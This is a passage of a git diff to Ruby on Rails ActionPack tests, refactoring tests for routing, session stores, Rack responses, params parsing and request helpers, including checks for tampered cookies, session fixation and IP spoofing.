+ url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+ assert_equal "/page/JAMIS", url
+ end
- def teardown
- ActionController::Routing::Routes.configuration_files.clear
- Object.send :remove_const, :RAILS_ROOT
+ def test_route_requirement_recognize_with_xi_modifiers
+ set.draw do |map|
+ map.connect 'page/:name', :controller => 'pages',
+ :action => 'show',
+ :requirements => {:name => / # Desperately overcommented regexp
+ ( #Either
+ david #The Creator
+ | #Or
+ jamis #The Deployer
+ )/xi}
end
+ assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
+ end
+end
- def test_load
- File.expects(:stat).returns(@stat)
- routes.expects(:load).with(regexp_matches(/routes\.rb$/))
+class RouteLoadingTest < Test::Unit::TestCase
+ def setup
+ routes.instance_variable_set '@routes_last_modified', nil
+ silence_warnings { Object.const_set :RAILS_ROOT, '.' }
+ routes.add_configuration_file(File.join(RAILS_ROOT, 'config', 'routes.rb'))
- routes.reload
- end
+ @stat = stub_everything
+ end
- def test_no_reload_when_not_modified
- @stat.expects(:mtime).times(2).returns(1)
- File.expects(:stat).times(2).returns(@stat)
- routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
+ def teardown
+ ActionController::Routing::Routes.configuration_files.clear
+ Object.send :remove_const, :RAILS_ROOT
+ end
- 2.times { routes.reload }
- end
+ def test_load
+ File.expects(:stat).returns(@stat)
+ routes.expects(:load).with(regexp_matches(/routes\.rb$/))
- def test_reload_when_modified
- @stat.expects(:mtime).at_least(2).returns(1, 2)
- File.expects(:stat).at_least(2).returns(@stat)
- routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+ routes.reload
+ end
- 2.times { routes.reload }
- end
+ def test_no_reload_when_not_modified
+ @stat.expects(:mtime).times(2).returns(1)
+ File.expects(:stat).times(2).returns(@stat)
+ routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
- def test_bang_forces_reload
- @stat.expects(:mtime).at_least(2).returns(1)
- File.expects(:stat).at_least(2).returns(@stat)
- routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+ 2.times { routes.reload }
+ end
- 2.times { routes.reload! }
- end
+ def test_reload_when_modified
+ @stat.expects(:mtime).at_least(2).returns(1, 2)
+ File.expects(:stat).at_least(2).returns(@stat)
+ routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
- def test_adding_inflections_forces_reload
- ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
- routes.expects(:reload!)
+ 2.times { routes.reload }
+ end
- ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
- end
+ def test_bang_forces_reload
+ @stat.expects(:mtime).at_least(2).returns(1)
+ File.expects(:stat).at_least(2).returns(@stat)
+ routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
- def test_load_with_configuration
- routes.configuration_files.clear
- routes.add_configuration_file("foobarbaz")
- File.expects(:stat).returns(@stat)
- routes.expects(:load).with("foobarbaz")
+ 2.times { routes.reload! }
+ end
- routes.reload
- end
-
- def test_load_multiple_configurations
- routes.add_configuration_file("engines.rb")
-
- File.expects(:stat).at_least_once.returns(@stat)
+ def test_adding_inflections_forces_reload
+ ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
+ routes.expects(:reload!)
- routes.expects(:load).with('./config/routes.rb')
- routes.expects(:load).with('engines.rb')
+ ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
+ end
- routes.reload
- end
+ def test_load_with_configuration
+ routes.configuration_files.clear
+ routes.add_configuration_file("foobarbaz")
+ File.expects(:stat).returns(@stat)
+ routes.expects(:load).with("foobarbaz")
- private
- def routes
- ActionController::Routing::Routes
- end
+ routes.reload
+ end
+
+ def test_load_multiple_configurations
+ routes.add_configuration_file("engines.rb")
+
+ File.expects(:stat).at_least_once.returns(@stat)
+
+ routes.expects(:load).with('./config/routes.rb')
+ routes.expects(:load).with('engines.rb')
+
+ routes.reload
end
+
+ private
+ def routes
+ ActionController::Routing::Routes
+ end
end
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
index 4e31b4573c..9d0613d1e2 100644
--- a/actionpack/test/controller/selector_test.rb
+++ b/actionpack/test/controller/selector_test.rb
@@ -303,7 +303,7 @@ class SelectorTest < Test::Unit::TestCase
assert_equal 1, @matches.size
assert_equal "2", @matches[0].attributes["id"]
# Before first and past last returns nothing.:
- assert_raises(ArgumentError) { select("tr:nth-child(-1)") }
+ assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
select("tr:nth-child(0)")
assert_equal 0, @matches.size
select("tr:nth-child(5)")
@@ -597,8 +597,8 @@ class SelectorTest < Test::Unit::TestCase
def test_negation_details
parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
- assert_raises(ArgumentError) { select(":not(") }
- assert_raises(ArgumentError) { select(":not(:not())") }
+ assert_raise(ArgumentError) { select(":not(") }
+ assert_raise(ArgumentError) { select(":not(:not())") }
select("p:not(#1):not(#3)")
assert_equal 1, @matches.size
assert_equal "2", @matches[0].attributes["id"]
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index b703f340a0..2e14a0a32c 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -44,12 +44,12 @@ class SendFileTest < ActionController::TestCase
response = nil
assert_nothing_raised { response = process('file') }
assert_not_nil response
- assert_kind_of Proc, response.body
+ assert_kind_of Proc, response.body_parts
require 'stringio'
output = StringIO.new
output.binmode
- assert_nothing_raised { response.body.call(response, output) }
+ assert_nothing_raised { response.body_parts.call(response, output) }
assert_equal file_data, output.string
end
@@ -142,7 +142,7 @@ class SendFileTest < ActionController::TestCase
}
@controller.headers = {}
- assert_raises(ArgumentError){ @controller.send(:send_file_headers!, options) }
+ assert_raise(ArgumentError){ @controller.send(:send_file_headers!, options) }
end
%w(file data).each do |method|
diff --git a/actionpack/test/controller/session/cookie_store_test.rb b/actionpack/test/controller/session/cookie_store_test.rb
index b48a8c3830..9b3f9afb0d 100644
--- a/actionpack/test/controller/session/cookie_store_test.rb
+++ b/actionpack/test/controller/session/cookie_store_test.rb
@@ -24,13 +24,17 @@ class CookieStoreTest < ActionController::IntegrationTest
def set_session_value
session[:foo] = "bar"
- render :text => Verifier.generate(session.to_hash)
+ render :text => Rack::Utils.escape(Verifier.generate(session.to_hash))
end
def get_session_value
render :text => "foo: #{session[:foo].inspect}"
end
+ def get_session_id
+ render :text => "foo: #{session[:foo].inspect}; id: #{request.session_options[:id]}"
+ end
+
def call_reset_session
reset_session
head :ok
@@ -93,7 +97,7 @@ class CookieStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/set_session_value'
assert_response :success
- assert_equal ["_myapp_session=#{response.body}; path=/; httponly"],
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
headers['Set-Cookie']
end
end
@@ -107,6 +111,20 @@ class CookieStoreTest < ActionController::IntegrationTest
end
end
+ def test_getting_session_id
+ with_test_route_set do
+ cookies[SessionKey] = SignedBar
+ get '/persistent_session_id'
+ assert_response :success
+ assert_equal response.body.size, 32
+ session_id = response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal "foo: \"bar\"; id: #{session_id}", response.body
+ end
+ end
+
def test_disregards_tampered_sessions
with_test_route_set do
cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
@@ -128,7 +146,7 @@ class CookieStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/no_session_access'
assert_response :success
- assert_equal [], headers['Set-Cookie']
+ assert_equal "", headers['Set-Cookie']
end
end
@@ -138,7 +156,7 @@ class CookieStoreTest < ActionController::IntegrationTest
"fef868465920f415f2c0652d6910d3af288a0367"
get '/no_session_access'
assert_response :success
- assert_equal [], headers['Set-Cookie']
+ assert_equal "", headers['Set-Cookie']
end
end
@@ -147,7 +165,7 @@ class CookieStoreTest < ActionController::IntegrationTest
get '/set_session_value'
assert_response :success
session_payload = response.body
- assert_equal ["_myapp_session=#{response.body}; path=/; httponly"],
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
headers['Set-Cookie']
get '/call_reset_session'
@@ -192,7 +210,8 @@ class CookieStoreTest < ActionController::IntegrationTest
assert_response :success
cookie_body = response.body
- assert_equal ["_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; httponly"], headers['Set-Cookie']
+ assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+ headers['Set-Cookie']
# Second request does not access the session
time = Time.local(2008, 4, 25)
@@ -202,7 +221,8 @@ class CookieStoreTest < ActionController::IntegrationTest
get '/no_session_access'
assert_response :success
- assert_equal ["_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; httponly"], headers['Set-Cookie']
+ assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+ headers['Set-Cookie']
end
end
@@ -217,4 +237,13 @@ class CookieStoreTest < ActionController::IntegrationTest
yield
end
end
+
+ def unmarshal_session(cookie_string)
+ session = Rack::Utils.parse_query(cookie_string, ';,').inject({}) {|h,(k,v)|
+ h[k] = Array === v ? v.first : v
+ h
+ }[SessionKey]
+ verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
+ verifier.verify(session)
+ end
end
diff --git a/actionpack/test/controller/session/mem_cache_store_test.rb b/actionpack/test/controller/session/mem_cache_store_test.rb
index 2e2bf79148..7561c93e4a 100644
--- a/actionpack/test/controller/session/mem_cache_store_test.rb
+++ b/actionpack/test/controller/session/mem_cache_store_test.rb
@@ -16,8 +16,15 @@ class MemCacheStoreTest < ActionController::IntegrationTest
render :text => "foo: #{session[:foo].inspect}"
end
+ def get_session_id
+ session[:foo]
+ render :text => "#{request.session_options[:id]}"
+ end
+
def call_reset_session
+ session[:bar]
reset_session
+ session[:bar] = "baz"
head :ok
end
@@ -50,38 +57,56 @@ class MemCacheStoreTest < ActionController::IntegrationTest
with_test_route_set do
get '/get_session_value'
assert_response :success
- assert_equal 'foo: nil', response.body
+ assert_equal 'foo: nil', response.body
end
end
- def test_prevents_session_fixation
+ def test_setting_session_value_after_session_reset
with_test_route_set do
- get '/get_session_value'
+ get '/set_session_value'
assert_response :success
- assert_equal 'foo: nil', response.body
+ assert cookies['_session_id']
session_id = cookies['_session_id']
- reset!
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
- get '/set_session_value', :_session_id => session_id
+ get '/get_session_value'
assert_response :success
- assert_equal nil, cookies['_session_id']
+ assert_equal 'foo: nil', response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_not_equal session_id, response.body
end
end
- def test_setting_session_value_after_session_reset
+ def test_getting_session_id
with_test_route_set do
get '/set_session_value'
assert_response :success
assert cookies['_session_id']
+ session_id = cookies['_session_id']
- get '/call_reset_session'
+ get '/get_session_id'
assert_response :success
- assert_not_equal [], headers['Set-Cookie']
+ assert_equal session_id, response.body
+ end
+ end
+ def test_prevents_session_fixation
+ with_test_route_set do
get '/get_session_value'
assert_response :success
assert_equal 'foo: nil', response.body
+ session_id = cookies['_session_id']
+
+ reset!
+
+ get '/set_session_value', :_session_id => session_id
+ assert_response :success
+ assert_equal nil, cookies['_session_id']
end
end
rescue LoadError, RuntimeError
diff --git a/actionpack/test/controller/session/test_session_test.rb b/actionpack/test/controller/session/test_session_test.rb
index 83103be3ec..de6539e1cc 100644
--- a/actionpack/test/controller/session/test_session_test.rb
+++ b/actionpack/test/controller/session/test_session_test.rb
@@ -33,7 +33,7 @@ class ActionController::TestSessionTest < ActiveSupport::TestCase
assert_equal('value', session[:key])
end
- def test_calling_delete_removes item
+ def test_calling_delete_removes_item
session = ActionController::TestSession.new
session[:key] = 'value'
assert_equal('value', session[:key])
diff --git a/actionpack/test/controller/test_test.rb b/actionpack/test/controller/test_test.rb
index 55b59d9401..124e259ef6 100644
--- a/actionpack/test/controller/test_test.rb
+++ b/actionpack/test/controller/test_test.rb
@@ -517,6 +517,14 @@ XML
assert_nil @request.instance_variable_get("@request_method")
end
+ def test_params_reset_after_post_request
+ post :no_op, :foo => "bar"
+ assert_equal "bar", @request.params[:foo]
+ @request.recycle!
+ post :no_op
+ assert @request.params[:foo].blank?
+ end
+
%w(controller response request).each do |variable|
%w(get post put delete head process).each do |method|
define_method("test_#{variable}_missing_for_#{method}_raises_error") do
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
index 09a8356fec..863f8414c5 100644
--- a/actionpack/test/controller/url_rewriter_test.rb
+++ b/actionpack/test/controller/url_rewriter_test.rb
@@ -99,7 +99,7 @@ class UrlWriterTests < ActionController::TestCase
end
def test_exception_is_thrown_without_host
- assert_raises RuntimeError do
+ assert_raise RuntimeError do
W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
end
end
diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb
index e5496c848b..f4e18308ae 100644
--- a/actionpack/test/dispatch/middleware_stack_test.rb
+++ b/actionpack/test/dispatch/middleware_stack_test.rb
@@ -73,4 +73,18 @@ class MiddlewareStackTest < ActiveSupport::TestCase
end
end
end
+
+ test "lazy evaluates middleware class" do
+ assert_difference "@stack.size" do
+ @stack.use lambda { BazMiddleware }
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "lazy evaluates middleware arguments" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware, lambda { :foo }
+ end
+ assert_equal [:foo], @stack.last.send(:build_args)
+ end
end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
index 92e6f163b2..9fad4b22ee 100644
--- a/actionpack/test/dispatch/rack_test.rb
+++ b/actionpack/test/dispatch/rack_test.rb
@@ -218,7 +218,7 @@ class RackResponseTest < BaseRackTest
"Content-Type" => "text/html; charset=utf-8",
"Cache-Control" => "private, max-age=0, must-revalidate",
"ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
- "Set-Cookie" => [],
+ "Set-Cookie" => "",
"Content-Length" => "13"
}, headers)
@@ -227,7 +227,22 @@ class RackResponseTest < BaseRackTest
assert_equal ["Hello, World!"], parts
end
- test "streaming block" do
+ def test_utf8_output
+ @response.body = [1090, 1077, 1089, 1090].pack("U*")
+ @response.prepare!
+
+ status, headers, body = @response.to_a
+ assert_equal 200, status
+ assert_equal({
+ "Content-Type" => "text/html; charset=utf-8",
+ "Cache-Control" => "private, max-age=0, must-revalidate",
+ "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"',
+ "Set-Cookie" => "",
+ "Content-Length" => "8"
+ }, headers)
+ end
+
+ def test_streaming_block
@response.body = Proc.new do |response, output|
5.times { |n| output.write(n) }
end
@@ -237,13 +252,12 @@ class RackResponseTest < BaseRackTest
assert_equal 200, status
assert_equal({
"Content-Type" => "text/html; charset=utf-8",
- "Content-Length" => "",
"Cache-Control" => "no-cache",
- "Set-Cookie" => []
+ "Set-Cookie" => ""
}, headers)
parts = []
- body.each { |part| parts << part }
+ body.each { |part| parts << part.to_s }
assert_equal ["0", "1", "2", "3", "4"], parts
end
end
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 5b9728cc42..2f409f020d 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -103,7 +103,7 @@ class MultipartParamsParsingTest < ActionController::IntegrationTest
test "does not create tempfile if no file has been selected" do
params = parse_multipart('none')
- assert_equal %w(files submit-name), params.keys.sort
+ assert_equal %w(submit-name), params.keys.sort
assert_equal 'Larry', params['submit-name']
assert_equal nil, params['files']
end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 9f0535bbcc..51a660f614 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -80,36 +80,6 @@ class UrlEncodedParamsParsingTest < ActionController::IntegrationTest
assert_parses expected, query
end
- test "parses params with non alphanumeric name" do
- query = "a/b[c]=d"
- expected = { "a/b" => { "c" => "d" }}
- assert_parses expected, query
- end
-
- test "parses params with single brackets in the middle" do
- query = "a/b[c]d=e"
- expected = { "a/b" => {} }
- assert_parses expected, query
- end
-
- test "parses params with separated brackets" do
- query = "a/b@[c]d[e]=f"
- expected = { "a/b@" => { }}
- assert_parses expected, query
- end
-
- test "parses params with separated brackets and array" do
- query = "a/b@[c]d[e][]=f"
- expected = { "a/b@" => { }}
- assert_parses expected, query
- end
-
- test "parses params with unmatched brackets and array" do
- query = "a/b@[c][d[e][]=f"
- expected = { "a/b@" => { "c" => { }}}
- assert_parses expected, query
- end
-
test "parses params with nil key" do
query = "=&test2=value1"
expected = { "test2" => "value1" }
@@ -156,12 +126,6 @@ class UrlEncodedParamsParsingTest < ActionController::IntegrationTest
assert_parses expected, query
end
- test "parses params with Prototype's hack around Safari 2 trailing null character" do
- query = "selected[]=1&selected[]=2&selected[]=3&_="
- expected = { "selected" => [ "1", "2", "3" ] }
- assert_parses expected, query
- end
-
test "passes through rack middleware and parses params" do
with_muck_middleware do
assert_parses({ "a" => { "b" => "c" } }, "a[b]=c")
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f1e052ff17..d57a2a611f 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -3,7 +3,6 @@ require 'abstract_unit'
class RequestTest < ActiveSupport::TestCase
def setup
ActionController::Base.relative_url_root = nil
- @request = ActionController::TestRequest.new
end
def teardown
@@ -11,60 +10,52 @@ class RequestTest < ActiveSupport::TestCase
end
test "remote ip" do
- assert_equal '0.0.0.0', @request.remote_ip
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
+ assert_equal '1.2.3.4', request.remote_ip
- @request.remote_addr = '1.2.3.4'
- assert_equal '1.2.3.4', @request.remote_ip
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6'
+ assert_equal '1.2.3.4', request.remote_ip
- @request.remote_addr = '1.2.3.4,3.4.5.6'
- assert_equal '1.2.3.4', @request.remote_ip
+ request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
+ 'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+ assert_equal '1.2.3.4', request.remote_ip
- @request.env['HTTP_CLIENT_IP'] = '2.3.4.5'
- assert_equal '1.2.3.4', @request.remote_ip
+ request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
+ 'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.remote_addr = '192.168.0.1'
- assert_equal '2.3.4.5', @request.remote_ip
- @request.env.delete 'HTTP_CLIENT_IP'
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.remote_addr = '1.2.3.4'
- @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
- assert_equal '1.2.3.4', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.16.0.1,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.remote_addr = '127.0.0.1'
- @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '192.168.0.1,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = '172.16.0.1,3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 10.0.0.1, 3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = '192.168.0.1,3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '127.0.0.1,3.4.5.6'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1,3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
+ assert_equal 'unknown', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1, 10.0.0.1, 3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
+ assert_equal '3.4.5.6', request.remote_ip
- @request.env['HTTP_X_FORWARDED_FOR'] = '127.0.0.1,3.4.5.6'
- assert_equal '3.4.5.6', @request.remote_ip
-
- @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,192.168.0.1'
- assert_equal 'unknown', @request.remote_ip
-
- @request.env['HTTP_X_FORWARDED_FOR'] = '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
- assert_equal '3.4.5.6', @request.remote_ip
-
- @request.env['HTTP_CLIENT_IP'] = '8.8.8.8'
- e = assert_raises(ActionController::ActionControllerError) {
- @request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+ 'HTTP_CLIENT_IP' => '2.2.2.2'
+ e = assert_raise(ActionController::ActionControllerError) {
+ request.remote_ip
}
assert_match /IP spoofing attack/, e.message
- assert_match /HTTP_X_FORWARDED_FOR="9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4"/, e.message
- assert_match /HTTP_CLIENT_IP="8.8.8.8"/, e.message
+ assert_match /HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message
+ assert_match /HTTP_CLIENT_IP="2.2.2.2"/, e.message
# turn IP Spoofing detection off.
# This is useful for sites that are aimed at non-IP clients. The typical
@@ -72,338 +63,343 @@ class RequestTest < ActiveSupport::TestCase
# leap of faith to assume that their proxies are ever going to set the
# HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
ActionController::Base.ip_spoofing_check = false
- assert_equal('8.8.8.8', @request.remote_ip)
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+ 'HTTP_CLIENT_IP' => '2.2.2.2'
+ assert_equal '2.2.2.2', request.remote_ip
ActionController::Base.ip_spoofing_check = true
- @request.env['HTTP_X_FORWARDED_FOR'] = '8.8.8.8, 9.9.9.9'
- assert_equal '8.8.8.8', @request.remote_ip
-
- @request.env.delete 'HTTP_CLIENT_IP'
- @request.env.delete 'HTTP_X_FORWARDED_FOR'
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '8.8.8.8, 9.9.9.9'
+ assert_equal '9.9.9.9', request.remote_ip
end
test "domains" do
- @request.host = "www.rubyonrails.org"
- assert_equal "rubyonrails.org", @request.domain
+ request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
+ assert_equal "rubyonrails.org", request.domain
- @request.host = "www.rubyonrails.co.uk"
- assert_equal "rubyonrails.co.uk", @request.domain(2)
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+ assert_equal "rubyonrails.co.uk", request.domain(2)
- @request.host = "192.168.1.200"
- assert_nil @request.domain
+ request = stub_request 'HTTP_HOST' => "192.168.1.200"
+ assert_nil request.domain
- @request.host = "foo.192.168.1.200"
- assert_nil @request.domain
+ request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+ assert_nil request.domain
- @request.host = "192.168.1.200.com"
- assert_equal "200.com", @request.domain
-
- @request.host = nil
- assert_nil @request.domain
+ request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+ assert_equal "200.com", request.domain
end
test "subdomains" do
- @request.host = "www.rubyonrails.org"
- assert_equal %w( www ), @request.subdomains
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.org"
+ assert_equal %w( www ), request.subdomains
- @request.host = "www.rubyonrails.co.uk"
- assert_equal %w( www ), @request.subdomains(2)
+ request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+ assert_equal %w( www ), request.subdomains(2)
- @request.host = "dev.www.rubyonrails.co.uk"
- assert_equal %w( dev www ), @request.subdomains(2)
+ request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk"
+ assert_equal %w( dev www ), request.subdomains(2)
- @request.host = "foobar.foobar.com"
- assert_equal %w( foobar ), @request.subdomains
+ request = stub_request 'HTTP_HOST' => "foobar.foobar.com"
+ assert_equal %w( foobar ), request.subdomains
- @request.host = "192.168.1.200"
- assert_equal [], @request.subdomains
+ request = stub_request 'HTTP_HOST' => "192.168.1.200"
+ assert_equal [], request.subdomains
- @request.host = "foo.192.168.1.200"
- assert_equal [], @request.subdomains
+ request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+ assert_equal [], request.subdomains
- @request.host = "192.168.1.200.com"
- assert_equal %w( 192 168 1 ), @request.subdomains
+ request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+ assert_equal %w( 192 168 1 ), request.subdomains
- @request.host = nil
- assert_equal [], @request.subdomains
+ request = stub_request 'HTTP_HOST' => nil
+ assert_equal [], request.subdomains
end
test "port string" do
- @request.port = 80
- assert_equal "", @request.port_string
+ request = stub_request 'HTTP_HOST' => 'www.example.org:80'
+ assert_equal "", request.port_string
- @request.port = 8080
- assert_equal ":8080", @request.port_string
+ request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
+ assert_equal ":8080", request.port_string
end
test "request uri" do
- @request.env['SERVER_SOFTWARE'] = 'Apache 42.342.3432'
-
- @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
- assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
- assert_equal "/path/of/some/uri", @request.path
+ request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
+ assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+ assert_equal "/path/of/some/uri", request.path
- @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri"
- assert_equal "/path/of/some/uri", @request.request_uri
- assert_equal "/path/of/some/uri", @request.path
+ request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri"
+ assert_equal "/path/of/some/uri", request.request_uri
+ assert_equal "/path/of/some/uri", request.path
- @request.set_REQUEST_URI "/path/of/some/uri"
- assert_equal "/path/of/some/uri", @request.request_uri
- assert_equal "/path/of/some/uri", @request.path
+ request = stub_request 'REQUEST_URI' => "/path/of/some/uri"
+ assert_equal "/path/of/some/uri", request.request_uri
+ assert_equal "/path/of/some/uri", request.path
- @request.set_REQUEST_URI "/"
- assert_equal "/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'REQUEST_URI' => "/"
+ assert_equal "/", request.request_uri
+ assert_equal "/", request.path
- @request.set_REQUEST_URI "/?m=b"
- assert_equal "/?m=b", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'REQUEST_URI' => "/?m=b"
+ assert_equal "/?m=b", request.request_uri
+ assert_equal "/", request.path
- @request.set_REQUEST_URI "/"
- @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
- assert_equal "/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'REQUEST_URI' => "/", 'SCRIPT_NAME' => '/dispatch.cgi'
+ assert_equal "/", request.request_uri
+ assert_equal "/", request.path
ActionController::Base.relative_url_root = "/hieraki"
- @request.set_REQUEST_URI "/hieraki/"
- @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
- assert_equal "/hieraki/", @request.request_uri
- assert_equal "/", @request.path
+ request = stub_request 'REQUEST_URI' => "/hieraki/", 'SCRIPT_NAME' => "/hieraki/dispatch.cgi"
+ assert_equal "/hieraki/", request.request_uri
+ assert_equal "/", request.path
ActionController::Base.relative_url_root = nil
ActionController::Base.relative_url_root = "/collaboration/hieraki"
- @request.set_REQUEST_URI "/collaboration/hieraki/books/edit/2"
- @request.env['SCRIPT_NAME'] = "/collaboration/hieraki/dispatch.cgi"
- assert_equal "/collaboration/hieraki/books/edit/2", @request.request_uri
- assert_equal "/books/edit/2", @request.path
+ request = stub_request 'REQUEST_URI' => "/collaboration/hieraki/books/edit/2",
+ 'SCRIPT_NAME' => "/collaboration/hieraki/dispatch.cgi"
+ assert_equal "/collaboration/hieraki/books/edit/2", request.request_uri
+ assert_equal "/books/edit/2", request.path
ActionController::Base.relative_url_root = nil
# The following tests are for when REQUEST_URI is not supplied (as in IIS)
- @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
- @request.env['SCRIPT_NAME'] = nil #"/path/dispatch.rb"
- @request.set_REQUEST_URI nil
- assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
- assert_equal "/path/of/some/uri", @request.path
+ request = stub_request 'PATH_INFO' => "/path/of/some/uri?mapped=1",
+ 'SCRIPT_NAME' => nil,
+ 'REQUEST_URI' => nil
+ assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+ assert_equal "/path/of/some/uri", request.path
ActionController::Base.relative_url_root = '/path'
